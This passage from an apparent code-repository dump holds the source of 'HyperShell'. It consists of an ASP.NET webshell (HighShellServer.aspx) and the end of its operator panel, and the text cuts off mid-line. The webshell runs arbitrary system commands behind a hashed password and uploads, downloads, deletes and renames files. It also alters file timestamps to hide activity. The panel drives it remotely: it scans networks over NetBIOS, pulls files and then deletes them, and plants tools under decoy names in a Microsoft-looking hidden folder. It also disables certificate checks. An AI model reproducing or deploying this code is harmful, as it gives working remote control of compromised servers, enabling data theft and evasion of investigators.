IPs.Add(item);\r\n                    }\r\n                }\r\n\r\n                //foreach (string ip in IPs)\r\n                //{\r\n                //    nbtresult.Log += ip + Environment.NewLine;\r\n                //}\r\n                //nbtresult.Log += Environment.NewLine + \"try nbt on this IPs :\" + Environment.NewLine;\r\n\r\n                foreach (string ip in IPs)\r\n                {\r\n                    int count = 0;\r\n                    string nbtResult = SendRequest(url, new NameValueCollection() {\r\n                        { \"m\", tb(((int)method.command).ToString())},\r\n                        { \"p\", tb(p)},\r\n                        { \"cmd\", tb(string.Format(@\"{0} -f {1} 2>&1\", moduleFolder + ModuleFileNameTarget[ModuleName.mdlnbt.ToString()].Value,ip))}\r\n                    });\r\n\r\n                    Regex rxNbtResult = new Regex(@\"(\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3})\\s+(\\S*)(\\s+\\w+)+\\r\\n(\\s+\\S+\\s+\\S+\\s+\\w+\\s+[\\w|\\s]+\\r\\n)+\\s+(\\w{2}:\\w{2}:\\w{2}:\\w{2}:\\w{2}:\\w{2})\\s+\\w+\\s+(\\S+)\\r\\n\");\r\n                    foreach (Match item in rxNbtResult.Matches(nbtResult))\r\n                    {\r\n                        count++;\r\n                        NbtComputer nc = new NbtComputer();\r\n                        nc.IP = item.Groups[1].Value;\r\n                        nc.Domain = item.Groups[2].Value.Split('\\\\')[0];\r\n                        nc.ComputerName = item.Groups[2].Value.Split('\\\\')[1];\r\n                        nc.Props = new List<string>();\r\n                        foreach (Capture c in item.Groups[3].Captures)\r\n                        {\r\n                            nc.Props.Add(c.Value.Trim());\r\n                        }\r\n                        nc.Mac = item.Groups[5].Value;\r\n                        nc.FullDomain = item.Groups[6].Value;\r\n\r\n                        nbtresult.NbtComputers.Add(nc);\r\n                    }\r\n                    nbtresult.Log += ip + \" -> \" + count;\r\n                }\r\n\r\n                ret = JsonConvert.SerializeObject(nbtresult);\r\n            }\r\n            catch (Exception e)\r\n            {\r\n                ret = \"Error : \" + e.Message;\r\n            }\r\n            responseAjax(ret);\r\n        }\r\n        enum DownloadStatus\r\n        {\r\n            Requested,\r\n            Downloading,\r\n            Pause,\r\n            Error,\r\n            Complete\r\n        }\r\n        private void DownloadUpdateStatus(string localPath, string downloadguid, DownloadStatus status, DateTime startDate, long totalsize, long downloadedsize)\r\n        {\r\n            //string text = string.Format(\"{0}{1}{2}{3}\",\r\n            //        status.ToString() + Environment.NewLine,\r\n            //        startDate.ToString(\"yyyy-MM-dd HH:mm:ss.fff\") + Environment.NewLine,\r\n            //        totalsize.ToString() + Environment.NewLine,\r\n            //        downloadedsize.ToString() + Environment.NewLine\r\n            //        );\r\n\r\n            NameValueCollection data = new NameValueCollection() {\r\n                { \"status\", status.ToString()},\r\n                { \"startdate\", startDate.ToString(\"yyyy-MM-dd HH:mm:ss.fff\")},\r\n                { \"totalsize\", totalsize.ToString()},\r\n                { \"downloadedsize\", downloadedsize.ToString()}\r\n            };\r\n\r\n            Session[downloadguid] = data;\r\n\r\n            //File.AppendAllText(DownloadTemp + Path.GetFileName(localPath), text);\r\n\r\n            //using(TextWriter txtWriter = new StreamWriter(File.Open(DownloadTemp + Path.GetFileName(localPath), FileMode.Truncate)))\r\n            //{\r\n            //    txtWriter.Write(text);\r\n            //}\r\n\r\n            //using (TextWriter fs = new FileStream(DownloadTemp + Path.GetFileName(localPath), FileMode.Open, FileAccess.Write, FileShare.ReadWrite))\r\n            //{\r\n            //    using (var sr = new StreamWriter(fs, Encoding.Default))\r\n            //    {\r\n            //        // read the stream\r\n            //        //...\r\n            //    }\r\n            //}\r\n\r\n        }\r\n        private string DownLoadFileByWebRequest(string urlAddress, string localPath, string downloadguid, NameValueCollection postParam)\r\n        {\r\n            string ret = string.Empty;\r\n            try\r\n            {\r\n                DateTime StartDate = DateTime.Now;\r\n                HttpWebRequest request = null;\r\n                HttpWebResponse response = null;\r\n                request = (HttpWebRequest)HttpWebRequest.Create(urlAddress);\r\n                request.Timeout = 30000;  //8000 Not work\r\n                request.Method = \"POST\";\r\n                StringBuilder postBuilder = new StringBuilder();\r\n                for (int i = 0; i < postParam.Count; i++)\r\n                {\r\n                    postBuilder.AppendFormat(\"{0}={1}\", Uri.EscapeDataString(postParam.GetKey(i)), Uri.EscapeDataString(tb(postParam.Get(i))));\r\n                    if (i < postParam.Count - 1)\r\n                    {\r\n                        postBuilder.Append(\"&\");\r\n                    }\r\n                }\r\n                byte[] postBytes = Encoding.ASCII.GetBytes(postBuilder.ToString());\r\n                request.ContentLength = postBytes.Length;\r\n                request.ContentType = \"application/x-www-form-urlencoded\";\r\n                var stream = request.GetRequestStream();\r\n                stream.Write(postBytes, 0, postBytes.Length);\r\n                stream.Close();\r\n                stream.Dispose();\r\n\r\n                response = (HttpWebResponse)request.GetResponse();\r\n                ContentDisposition disposition = new ContentDisposition(response.Headers[\"content-disposition\"]);\r\n                long fileSize = disposition.Size;\r\n                Stream s = response.GetResponseStream();\r\n\r\n                FileStream os = new FileStream(localPath, FileMode.OpenOrCreate, FileAccess.Write);\r\n                byte[] buff = new byte[8 * 1024];\r\n                int c = 0;\r\n                long totalGet = 0;\r\n                //long lastUpdateSize = 0;\r\n                //DateTime lastUpdateTime = StartDate;\r\n                while ((c = s.Read(buff, 0, buff.Length)) > 0)\r\n                {\r\n                    totalGet += c;\r\n\r\n                    os.Write(buff, 0, c);\r\n                    os.Flush();\r\n                    //DateTime saveTime = DateTime.Now;\r\n                    //DownloadUpdateStatus(localPath, downloadguid, DownloadStatus.Downloading, StartDate, lastUpdateTime, saveTime, fileSize, totalGet, lastUpdateSize);\r\n                    DownloadUpdateStatus(localPath, downloadguid, DownloadStatus.Downloading, StartDate, fileSize, totalGet);\r\n                    //if (totalGet < fileSize)\r\n                    //{\r\n                    //    lastUpdateSize = totalGet;\r\n                    //    lastUpdateTime = saveTime;\r\n                    //}\r\n                }\r\n                os.Close();\r\n                s.Close();\r\n\r\n                //DownloadUpdateStatus(localPath, downloadguid, DownloadStatus.Complete, StartDate, lastUpdateTime, DateTime.Now, fileSize, totalGet, lastUpdateSize);\r\n                DownloadUpdateStatus(localPath, downloadguid, DownloadStatus.Complete, StartDate, fileSize, totalGet);\r\n\r\n                ret = (string.Format(\"File \\\"{0}\\\" successfuly downloaded : \\\"{1}\\\"\", Path.GetFileName(localPath), localPath));\r\n\r\n            }\r\n            catch (Exception e)\r\n            {\r\n                ret = \"Error : \" + e.Message;\r\n            }\r\n\r\n            return ret;\r\n        }\r\n        void downloadTest(NameValueCollection t)\r\n        {\r\n            string ret = \"Error : -\";\r\n            try\r\n            {\r\n                ret = SendRequest(url, t);\r\n                if (!ret.ToLower().StartsWith(\"error\"))\r\n                {\r\n                    string filePath = DownloadLocation;\r\n                    filePath = CheckDirectory(url, filePath);\r\n\r\n                    string filename = Path.GetFileName(unpack(t[\"don\"]));\r\n                    string localPath = filePath + filename;\r\n                    int fileIndex = 1;\r\n                    while (File.Exists(localPath))\r\n                    {\r\n                        localPath = filePath + Path.GetFileNameWithoutExtension(filename) + \"(\" + (fileIndex++) + \")\" + Path.GetExtension(filename);\r\n                    }\r\n\r\n                    CreateEmptyFile(localPath);\r\n                    string downloadguid = Guid.NewGuid().ToString();\r\n                    DownloadUpdateStatus(localPath, downloadguid, DownloadStatus.Requested, DateTime.Now, 0, 0);\r\n                    ret = string.Format(\"{{\\\"message\\\":\\\"{0}\\\",\\\"localPath\\\":\\\"{1}\\\",\\\"downloadguid\\\":\\\"{2}\\\"}}\", tb(ret), tb(localPath), tb(downloadguid));\r\n                }\r\n            }\r\n            catch (Exception e)\r\n            {\r\n                ret = \"Error : \" + e.Message;\r\n            }\r\n            responseAjax(ret);\r\n        }\r\n        void download(string don, string isdelete, string localPath, string downloadguid)\r\n        {\r\n            string ret = \"true\";\r\n\r\n            try\r\n            {\r\n                ret = DownLoadFileByWebRequest(url, localPath, downloadguid, new NameValueCollection() {\r\n                    { \"m\", ((int)method.download).ToString()},\r\n                    { \"p\", p},\r\n                    { \"don\", don}\r\n                });\r\n\r\n                if (isdelete.ToLower() == \"true\")\r\n                {\r\n                    string cmd = \"del \\\"\" + don + \"\\\" 2>&1\";\r\n                    ret += Environment.NewLine + SendRequest(url, new NameValueCollection() {\r\n                        { \"m\", tb(((int)method.command).ToString())},\r\n                        { \"p\", tb(p)},\r\n                        { \"cmd\", tb(cmd)}\r\n                    });\r\n                }\r\n            }\r\n            catch (Exception e)\r\n            {\r\n                ret = \"Error : \" + e.Message;\r\n            }\r\n            //responseAjax(ret);\r\n        }\r\n        void checkDownloadProgress(string downloadguid, string lastsizestr, string lasttimestr)\r\n        {\r\n            string ret = \"Error : -\";\r\n            try\r\n            {\r\n                string status = \"NotSet\";\r\n                double Percent = 0;\r\n                string Size = \"-\";\r\n                string Speed = \"-\";\r\n                string Remain = \"-\";\r\n                long LastSize = long.Parse(lastsizestr);\r\n                DateTime Now = DateTime.Now;\r\n                DateTime LastTime = Now;\r\n                if (lasttimestr != \"0\")\r\n                    LastTime = DateTime.Parse(lasttimestr);\r\n\r\n                if (Session[downloadguid] != null)\r\n                {\r\n                    NameValueCollection data = (NameValueCollection)Session[downloadguid];\r\n                    status = data[\"status\"];\r\n\r\n                    if (status != DownloadStatus.Requested.ToString())\r\n                    {\r\n                        DateTime timeStart = DateTime.Parse(data[\"startdate\"]);\r\n                        long total = long.Parse(data[\"totalsize\"]);\r\n                        long get = long.Parse(data[\"downloadedsize\"]);\r\n\r\n                        Percent = Math.Round(((double)get / total) * 100, 2);\r\n                        Size = sizeFix(get) + \" of \" + sizeFix(total);\r\n\r\n                        double diff = 1;\r\n                        if (lasttimestr == \"0\")\r\n                            diff = (Now - timeStart).TotalSeconds;\r\n                        else\r\n                            diff = (Now - LastTime).TotalSeconds;\r\n\r\n                        double s = (double)((get - LastSize) / diff);\r\n                        Speed = sizeFix((long)s, true) + \"/sec\";\r\n                        if (status == DownloadStatus.Complete.ToString())\r\n                        {\r\n                            Remain = timeFix((long)(Now - timeStart).TotalMilliseconds);\r\n                            Session.Remove(downloadguid);\r\n                        }\r\n                        else\r\n                            Remain = timeFix((long)((total - get) / s * 1000)) + \" left\";\r\n\r\n                        lastsizestr = get.ToString();\r\n                        lasttimestr = Now.ToString(\"yyyy-MM-dd HH:mm:ss.fff\");\r\n                    }\r\n                }\r\n\r\n                ret = string.Format(\"{{\\\"status\\\":\\\"{0}\\\",\\\"percent\\\":\\\"{1}\\\",\\\"size\\\":\\\"{2}\\\",\\\"speed\\\":\\\"{3}\\\",\\\"remain\\\":\\\"{4}\\\",\\\"lastsize\\\":\\\"{5}\\\",\\\"lasttime\\\":\\\"{6}\\\"}}\", status, Percent, Size, Speed, Remain, tb(lastsizestr), tb(lasttimestr));\r\n            }\r\n            catch (Exception e)\r\n            {\r\n                ret = \"Error : \" + e.Message;\r\n            }\r\n            responseAjax(ret);\r\n        }\r\n\r\n        #region [ Modules ]\r\n        string moduleFolder = @\"C:\\ProgramData\\Microsoft\\SettingsTools\\\";\r\n        KeyValueConfigurationCollection ModuleFileName = new KeyValueConfigurationCollection() {\r\n            { ModuleName.mdl7z.ToString(),\"7za.exe\"},\r\n            { ModuleName.mdlrx.ToString(),\"rx.exe\"},\r\n            { ModuleName.mdlnbt.ToString(),\"nbt.exe\"},\r\n            { ModuleName.mdlhb.ToString(),\"hb.exe\"},\r\n            { ModuleName.mdltar2.ToString(),\"tar-2.exe\"},\r\n            { ModuleName.mdltar4.ToString(),\"tar-4.exe\"}\r\n        };\r\n        KeyValueConfigurationCollection ModuleFileNameTarget = new KeyValueConfigurationCollection() {\r\n            { ModuleName.mdl7z.ToString(),\"fqrzb.exe\"},\r\n            { ModuleName.mdlrx.ToString(),\"nhrf.exe\"},\r\n            { ModuleName.mdlnbt.ToString(),\"qbtup.exe\"},\r\n            { ModuleName.mdlhb.ToString(),\"tysrr.exe\"},\r\n            { ModuleName.mdltar2.ToString(),\"ghdfg.exe\"},\r\n            { ModuleName.mdltar4.ToString(),\"tyruee.exe\"}\r\n        };\r\n        enum ModuleName\r\n        {\r\n            mdl7z,\r\n            mdlrx,\r\n            mdlnbt,\r\n            mdlhb,\r\n            mdltar2,\r\n            mdltar4\r\n        };\r\n        void checkModules()\r\n        {\r\n            string ret = \"Error : -\";\r\n            try\r\n            {\r\n\r\n                string dirModule = SendRequest(url, new NameValueCollection() {\r\n                    { \"m\", tb(((int)method.command).ToString())},\r\n                    { \"p\", tb(p)},\r\n                    { \"cmd\", tb(string.Format(\"dir \\\"{0}\\\"\",moduleFolder))}\r\n                });\r\n\r\n                ret = \"{\\\"modules\\\":[\";\r\n                string mdlList = string.Empty;\r\n\r\n                foreach (string name in Enum.GetNames(typeof(ModuleName)))\r\n                {\r\n                    if (dirModule.Contains(ModuleFileNameTarget[name].Value))\r\n                    {\r\n                        if (!string.IsNullOrEmpty(mdlList))\r\n                            mdlList += \",\";\r\n                        mdlList += string.Format(\"\\\"{0}\\\"\", name);\r\n                    }\r\n                }\r\n\r\n                ret += mdlList + \"]}\";\r\n            }\r\n            catch (Exception e)\r\n            {\r\n                ret = \"Error : \" + e.Message;\r\n            }\r\n            responseAjax(ret);\r\n        }\r\n\r\n        // the Old server side installModule\r\n        //void installModule(HttpPostedFile mfile, string mname)\r\n        //{\r\n        //    string ret = \"Error : -\";\r\n        //    try\r\n        //    {\r\n        //        if (!System.IO.Directory.Exists(moduleFolder))\r\n        //        {\r\n        //            System.IO.DirectoryInfo di = System.IO.Directory.CreateDirectory(moduleFolder);\r\n        //            di.Attributes = System.IO.FileAttributes.Directory | System.IO.FileAttributes.Hidden;\r\n        //        }\r\n\r\n        //        string name = string.Empty;\r\n        //        string path = string.Empty;\r\n        //        if (mname == \"mdl7z\")\r\n        //        {\r\n        //            name = \"7z\";\r\n        //            path = moduleFolder + \"\\\\z.exe\";\r\n        //        }\r\n        //        else if (mname == \"mdlrx\")\r\n        //        {\r\n        //            name = \"rx\";\r\n        //            path = moduleFolder + \"\\\\r.exe\";\r\n        //        }\r\n        //        else if (mname == \"mdlnbt\")\r\n        //        {\r\n        //            name = \"nbt\";\r\n        //            path = moduleFolder + \"\\\\n.exe\";\r\n        //        }\r\n        //        else if (mname == \"mdlhb\")\r\n        //        {\r\n        //            name = \"hb\";\r\n        //            path = moduleFolder + \"\\\\h.exe\";\r\n        //        }\r\n\r\n        //        mfile.SaveAs(path);\r\n        //        ret = \"Module '\" + name + \"' installed successfuly.\";\r\n        //    }\r\n        //    catch (Exception e)\r\n        //    {\r\n        //        ret = \"Error : \" + e.Message;\r\n        //    }\r\n        //    response(ret);\r\n        //}\r\n        void installModule(string moduleName)\r\n        {\r\n            string ret = \"Error : -\";\r\n\r\n            try\r\n            {\r\n                string targetFileName = string.Empty;\r\n                string filePath = Server.MapPath(string.Empty) + \"\\\\files\\\\\";\r\n\r\n                filePath += ModuleFileName[moduleName].Value;\r\n                targetFileName = ModuleFileNameTarget[moduleName].Value;\r\n\r\n                if (!string.IsNullOrEmpty(targetFileName))\r\n                {\r\n                    List<KeyValuePair<string, string>> formData = new List<KeyValuePair<string, string>>();\r\n                    formData.Add(new KeyValuePair<string, string>(\"uploadPath\", moduleFolder + targetFileName));\r\n                    formData.Add(new KeyValuePair<string, string>(\"m\", ((int)method.upload).ToString()));\r\n                    formData.Add(new KeyValuePair<string, string>(\"p\", p));\r\n\r\n                    using (Stream fStream = File.OpenRead(filePath))\r\n                    {\r\n                        ret = UploadFile(fStream, Path.GetFileName(filePath), \"uploadFile\", formData);\r\n                        if (ret.Contains(\"successfully\"))\r\n                            ret = \"Module '\" + moduleFolder + targetFileName + \"' installed successfuly.\";\r\n                    }\r\n                }\r\n                else\r\n                    ret = \"Error : Module name is invalid\";\r\n            }\r\n            catch (Exception e)\r\n            {\r\n                ret = \"Error : \" + e.Message;\r\n            }\r\n            responseAjax(ret);\r\n        }\r\n        //void uninstallModule(string mname)\r\n        //{\r\n        //    string ret = \"Error : -\";\r\n        //    try\r\n        //    {\r\n        //        string name = string.Empty;\r\n        //        string path = string.Empty;\r\n        //        if (mname == \"mdl7z\")\r\n        //        {\r\n        //            name = \"7z\";\r\n        //            path = moduleFolder + \"\\\\z.exe\";\r\n        //        }\r\n        //        else if (mname == \"mdlrx\")\r\n        //        {\r\n        //            name = \"rx\";\r\n        //            path = moduleFolder + \"\\\\r.exe\";\r\n        //        }\r\n        //        else if (mname == \"mdlnbt\")\r\n        //        {\r\n        //            name = \"nbt\";\r\n        //            path = moduleFolder + \"\\\\n.exe\";\r\n        //        }\r\n\r\n        //        System.IO.File.Delete(path);\r\n        //        ret = \"Module '\" + name + \"' uninstalled successfuly.\";\r\n        //    }\r\n        //    catch (Exception e)\r\n        //    {\r\n        //        ret = \"Error : \" + e.Message;\r\n        //    }\r\n\r\n        //    response(ret);\r\n        //}\r\n        void uninstallModule(string moduleName)\r\n        {\r\n            string ret = \"Error : -\";\r\n            try\r\n            {\r\n                string modulePath = moduleFolder + ModuleFileNameTarget[moduleName].Value;\r\n                SendRequest(url, new NameValueCollection() {\r\n                    { \"m\", tb(((int)method.command).ToString())},\r\n                    { \"p\", tb(p)},\r\n                    { \"cmd\", tb(string.Format(\"del \\\"{0}\\\"\",modulePath))}\r\n                });\r\n                string dirModule = SendRequest(url, new NameValueCollection() {\r\n                    { \"m\", tb(((int)method.command).ToString())},\r\n                    { \"p\", tb(p)},\r\n                    { \"cmd\", tb(string.Format(\"dir \\\"{0}\\\" 2>&1\",modulePath))}\r\n                });\r\n                if (dirModule.Contains(\"File Not Found\"))\r\n                    ret = \"Module '\" + modulePath + \"' uninstalled successfuly.\";\r\n                else\r\n                    ret = \"Error : Cannot uninstall module : \" + modulePath;\r\n            }\r\n            catch (Exception e)\r\n            {\r\n                ret = \"Error : \" + e.Message;\r\n            }\r\n            responseAjax(ret);\r\n        }\r\n        #endregion\r\n\r\n        void cmd7z(string clevel, string address7z, string files, string volumSize, string vMode, string exclude)\r\n        {\r\n            string ret = \"Error : -\";\r\n            try\r\n            {\r\n                string exludeStr = string.Empty;\r\n                if (!string.IsNullOrEmpty(exclude))\r\n                {\r\n                    string[] temp = exclude.Split(',');\r\n                    foreach (string item in temp)\r\n                    {\r\n                        exludeStr += \" -xr!\" + item;\r\n                    }\r\n                }\r\n                ret = SendRequest(url, new NameValueCollection() {\r\n                { \"m\", tb(((int)method.command).ToString())},\r\n                { \"p\", tb(p)},\r\n                { \"cmd\", tb(string.Format(\"{0} {1} a \\\"{2}\\\" {3}{4}{5} 2>&1\",\r\n                    moduleFolder + ModuleFileNameTarget[ModuleName.mdl7z.ToString()].Value,\r\n                    clevel,\r\n                    address7z,\r\n                    files,\r\n                    (string.IsNullOrEmpty(volumSize) ? \"\" : \"-v\" + volumSize + vMode),\r\n                    exludeStr\r\n                    )\r\n                )}\r\n            });\r\n            }\r\n            catch (Exception e)\r\n            {\r\n                ret = \"Error : \" + e.Message;\r\n            }\r\n            responseAjax(ret);\r\n        }\r\n        string SendRequest(string url, NameValueCollection values)\r\n        {\r\n            string response = string.Empty;\r\n\r\n            string param = string.Empty;\r\n\r\n            foreach (var item in values.AllKeys)\r\n            {\r\n                if (!string.IsNullOrEmpty(param))\r\n                    param += \"&\";\r\n                param += item + \"=\" + System.Web.HttpUtility.UrlEncode(isAjax ? values[item] : tb(values[item]));\r\n            }\r\n\r\n            using (WebClient wc = new WebClient())\r\n            {\r\n                ServicePointManager.ServerCertificateValidationCallback = (a, b, c, d) => true;\r\n                wc.Headers[HttpRequestHeader.ContentType] = \"application/x-www-form-urlencoded\";\r\n                response = fb(wc.UploadString(url, param));\r\n            }\r\n\r\n            return response;\r\n        }\r\n        public static void CreateEmptyFile(string filename)\r\n        {\r\n            File.Create(filename).Dispose();\r\n        }\r\n        string sizeFix(long size, bool round = false)\r\n        {\r\n            double s = size;\r\n            if (s < 1024)\r\n                return s + \"B\";\r\n            s = s / 1024;\r\n            if (s < 1024)\r\n                return (round ? (int)s : Math.Round(s, 2)) + \"KB\";\r\n            s = s / 1024;\r\n            if (s < 1024)\r\n                return (round ? (int)s : Math.Round(s, 2)) + \"MB\";\r\n            s = s / 1024;\r\n            if (s < 1024)\r\n                return (round ? (int)s : Math.Round(s, 2)) + \"GB\";\r\n            s = s / 1024;\r\n            return (round ? (int)s : Math.Round(s, 2)) + \"TB\";\r\n        }\r\n        string timeFix(long msec)\r\n        {\r\n            double s = msec;\r\n            if (s < 1000) return (int)s + \" msec\";\r\n            s = s / 1000;\r\n            if (s < 60) return (int)s + \" sec\";\r\n            s = s / 60;\r\n            if (s < 60) return (int)s + \" min\";\r\n            s = s / 60;\r\n            if (s < 24) return (int)s + \" hour\";\r\n            s = s / 24;\r\n            if (s < 365) return (int)s + \" day\";\r\n            s = s / 365;\r\n            return (int)s + \" year\";\r\n        }\r\n    </script>\r\n</head>\r\n<body>\r\n    <div class=\"pusher contentPlace\" style=\"/*flex-grow: 1; flex-direction: column; display: flex; */\">\r\n        <div id=\"header\">\r\n<!-- #include file =\"js/components/loginbar.html\" -->\r\n<!-- #include file =\"js/components/adminuserpass.html\" -->\r\n<!-- #include file =\"js/components/maintab.html\" -->\r\n<!-- #include file =\"js/components/cmd.html\" -->\r\n<!-- #include file =\"js/components/explorer.html\" -->\r\n<!-- #include file =\"js/components/targetcomputer.html\" -->\r\n<!-- #include file =\"js/components/networkdownloader.html\" -->\r\n<!-- #include file =\"js/components/upload.html\" -->\r\n<!-- #include file =\"js/components/download.html\" -->\r\n<!-- #include file =\"js/components/sqlserver.html\" -->\r\n<!-- #include file =\"js/components/changetime.html\" -->\r\n<!-- #include file =\"js/components/tardigrade.html\" -->\r\n        </div>\r\n<!-- #include file =\"js/components/log.html\" -->\r\n    </div>\r\n<!-- #include file =\"js/components/downloadbox.html\" -->\r\n<!-- #include file =\"js/components/msgDeleteFile.html\" -->\r\n    <i title=\"Scroll Top\" class=\"circular large link chevron circle up icon\" style=\"right: 10px; bottom: 10px; position: fixed; z-index: 3333; background-color: #fff\" onclick=\"$('html, body').animate({ scrollTop: 0 }, 500);\"></i>\r\n    <i title=\"Clear Terminal\" class=\"circular large link paint brush icon\" style=\"right: 65px; bottom: 10px; position: fixed; z-index: 3333; background-color: #fff\" onclick=\"$('#log').text('');$('#tbMain').sticky('refresh');\"></i>\r\n    <script><%= SpecialScript %></script>\r\n</body>\r\n</html>\r\n<!-- #include file =\"js/components/includes.html\" -->\r\n"
  },
  {
    "path": "Webshells_and_Panel/HyperShell/HyperShell/ShellLocal-Special4/HighShellServer.aspx",
    "content": "﻿<%@ Page Language=\"C#\" ValidateRequest=\"false\" EnableViewState=\"false\" %>\r\n\r\n<%\r\ntry\r\n{\r\nNameValueCollection t=HttpContext.Current.Request.Form;\r\nmethod selectedMethod=method.auth;\r\ntry{int methodID=int.Parse(fb(t[\"m\"]));selectedMethod=(method)methodID;}catch{rm();}\r\np=fb(t[\"p\"]);\r\nadminU=fb(t[\"adminU\"]);\r\nadminP=fb(t[\"adminP\"]);\r\nif(string.IsNullOrEmpty(p)){if(HttpContext.Current.Request.Cookies[\"p\"] != null)p=fb(HttpContext.Current.Request.Cookies[\"p\"].Value);}\r\nif(selectedMethod != method.auth && selectedMethod != method.authAjax && !login(p)){rm();}\r\nswitch(selectedMethod){\r\ncase method.auth:\r\ncase method.authAjax:auth(p);break;\r\ncase method.command:\r\ncase method.commandAjax:command(fb(t[\"cmd\"]));break;\r\ncase method.upload:upload(HttpContext.Current.Request.Files[\"uploadFile\"],fb(t[\"uploadPath\"]));break;\r\ncase method.download:download(fb(t[\"don\"]),fb(t[\"isdel\"]));break;\r\ncase method.downloadTest:downloadTest(fb(t[\"don\"]));break;\r\ncase method.explorer:exp(fb(t[\"exadd\"]));break;\r\ncase method.getsize:gsize(fb(t[\"gsize\"]));break;\r\ncase method.getlocation:\r\ncase method.getlocationAjax:response(getLoc());break;\r\ncase method.rename:rename(fb(t[\"rename1\"]),fb(t[\"rename2\"]));break;\r\ncase method.copy:copy(fb(t[\"copy1\"]),fb(t[\"copy2\"]));break;\r\ncase method.view:view(fb(t[\"view\"]));break;\r\ncase method.delete:delete(fb(t[\"delete\"]));break;\r\ncase method.multiDelete:multiDelete(fb(t[\"delete\"]));break;\r\ncase method.changeTime:changeTime(fb(t[\"timeh\"]),fb(t[\"tfil\"]),fb(t[\"ttar\"]),fb(t[\"ttim\"]));break;\r\ndefault:break;\r\n}\r\n}\r\ncatch(Exception ex){response(\"Error : \"+ex.Message);}\r\n%>\r\n<script runat=\"server\">\r\n    enum method{auth=0,command=1,upload=2,uploadbase64=3,delete=4,download=5,changeTime=6,sqlQuery=7,explorer=8,getsize=9,getlocation=10,rename=11,copy=12,view=13,commandAjax=14,downloadTest=15,checkModules=16,installModule=17,uninstallModule=18,cmd7z=19,authAjax=20,getlocationAjax=21,multiDelete=24};\r\n    string salt=\"CNSIFDe12ye3WmzG@q8r)Yf%UU$h8gNTXJOGmCTwX5qKsaUgDM#dlhvHIYR5K0$W\";\r\n    string p,adminU,adminP;\r\n    bool aut=false;\r\n    string pp=\"WDRo4Fhsanhuv6ENFaGkffSVZcxhHYUAxNhxPZ0welo=\";\r\n    string a(string a,string b){return string.IsNullOrEmpty(a)?b:a;}\r\n    string tb(string a){string ret=\"\";try{ret=string.IsNullOrEmpty(a)?a:Convert.ToBase64String(Encoding.UTF8.GetBytes(a));}catch{}return ret;}\r\n    string fb(string a){string ret=\"\";try{ret=string.IsNullOrEmpty(a)?a:Encoding.UTF8.GetString(Convert.FromBase64String(a));}catch{}return ret;}\r\n    void rm(){Response.Redirect(Request.Url.AbsolutePath.Substring(0,Request.Url.AbsolutePath.LastIndexOf(\"/\")+1)+\" \"+Request.Url.AbsolutePath.Substring(Request.Url.AbsolutePath.LastIndexOf(\"/\")+1));}\r\n    void auth(string p){\r\n        string ret=string.Empty;\r\n        try {\r\n            ret = string.Format(\"{{\\\"auth\\\":\\\"{0}\\\",\\\"loc\\\":\\\"{1}\\\"}}\", login(p).ToString(),tb(getLoc()));\r\n        } catch(Exception e){\r\n            ret =\"Error : \"+e.Message;\r\n        }\r\n        response(ret);\r\n    }\r\n    bool login(string p){bool aut=false;try{if(!string.IsNullOrEmpty(p)){aut=Convert.ToBase64String(new System.Security.Cryptography.SHA256CryptoServiceProvider().ComputeHash(Encoding.ASCII.GetBytes(p+salt)))==pp;}}catch(Exception e){response(e.Message);}return aut;}\r\n    void command(string cmd){string ret=\"Error : -\";try{string o=exec(cmd);o=o.Remove(0,o.IndexOf(Environment.NewLine)+2);o=o.Remove(0,o.IndexOf(Environment.NewLine)+2);o=o.Remove(0,o.IndexOf(Environment.NewLine));o=o.Remove(o.LastIndexOf(Environment.NewLine));o=o.Remove(o.LastIndexOf(Environment.NewLine)+2);ret=HttpUtility.HtmlEncode(o);}catch(Exception ex){ret=\"Error : \"+ex.Message;}response(ret);}\r\n    void upload(HttpPostedFile uploadFile,string uploadPath)\r\n    {\r\n        string ret=\"Error : -\";\r\n        try {\r\n            if (System.IO.Path.IsPathRooted(uploadPath))\r\n            {\r\n                string FileName = System.IO.Path.GetFileName(uploadFile.FileName);\r\n                string FilePath = uploadPath.TrimEnd('\\\\') + \"\\\\\";\r\n                if (string.IsNullOrEmpty(System.IO.Path.GetExtension(uploadPath)))\r\n                {\r\n                    if (!System.IO.Directory.Exists(uploadPath))\r\n                    {\r\n                        if (!string.IsNullOrEmpty(System.IO.Path.GetFileName(uploadPath)))\r\n                        {\r\n                            FileName = System.IO.Path.GetFileName(uploadPath);\r\n                            FilePath = System.IO.Path.GetDirectoryName(uploadPath) + \"\\\\\";\r\n                        }\r\n                    }\r\n                }\r\n                else\r\n                {\r\n                    FileName = System.IO.Path.GetFileName(uploadPath);\r\n                    FilePath = System.IO.Path.GetDirectoryName(uploadPath) + \"\\\\\";\r\n                }\r\n\r\n                if (!System.IO.Directory.Exists(FilePath))\r\n                    System.IO.Directory.CreateDirectory(FilePath);\r\n\r\n                uploadFile.SaveAs(FilePath + FileName);\r\n                ret =\"File uploaded successfully : \"+ FilePath + FileName;\r\n            }\r\n            else\r\n                ret=\"Error : The path is not current format \\\"\"+uploadPath+\"\\\"\";\r\n\r\n        } catch(Exception ex){\r\n            ret =\"Error : \"+ex.Message;\r\n        }\r\n        response(ret);\r\n    }\r\n    string getLoc(){return Server.MapPath(string.Empty)+\"\\\\\";}\r\n    void downloadTest(string don)\r\n    {\r\n        string ret = \"Error : -\";\r\n        try\r\n        {\r\n            if (!string.IsNullOrEmpty(don))\r\n            {\r\n                using (System.IO.Stream stream = new System.IO.FileStream(don, System.IO.FileMode.Open))\r\n                {\r\n                    ret = string.Format(\"File '{0}' is ready for download\", don);\r\n                }\r\n            }\r\n        }\r\n        catch (Exception e)\r\n        {\r\n            ret = \"Error : \" + e.Message;\r\n        }\r\n        response(ret);\r\n    }\r\n    void download(string don, string isdel)\r\n    {\r\n        string ret=\"Error : -\";\r\n        try {\r\n            if (!string.IsNullOrEmpty(don)){\r\n                System.Web.HttpResponse response = System.Web.HttpContext.Current.Response;\r\n                response.ClearContent();\r\n                response.Clear();\r\n                response.ClearHeaders();\r\n                response.ContentType = \"application/octet-stream\";\r\n                response.AppendHeader(\"Content-Disposition\", \"attachment;size=\"+new System.IO.FileInfo(don).Length+\";filename=\" + HttpUtility.UrlEncode(tb(System.IO.Path.GetFileName(don))));\r\n                response.WriteFile(don);\r\n                response.Flush();\r\n                Response.SuppressContent = true;\r\n                ApplicationInstance.CompleteRequest();\r\n            }\r\n        }\r\n        catch(Exception e)\r\n        {\r\n            ret = \"Error : \" + e.Message;\r\n            response(ret);\r\n        }\r\n    }\r\n    string exec(string cmd){string pro=\"\";System.Diagnostics.Process n=new 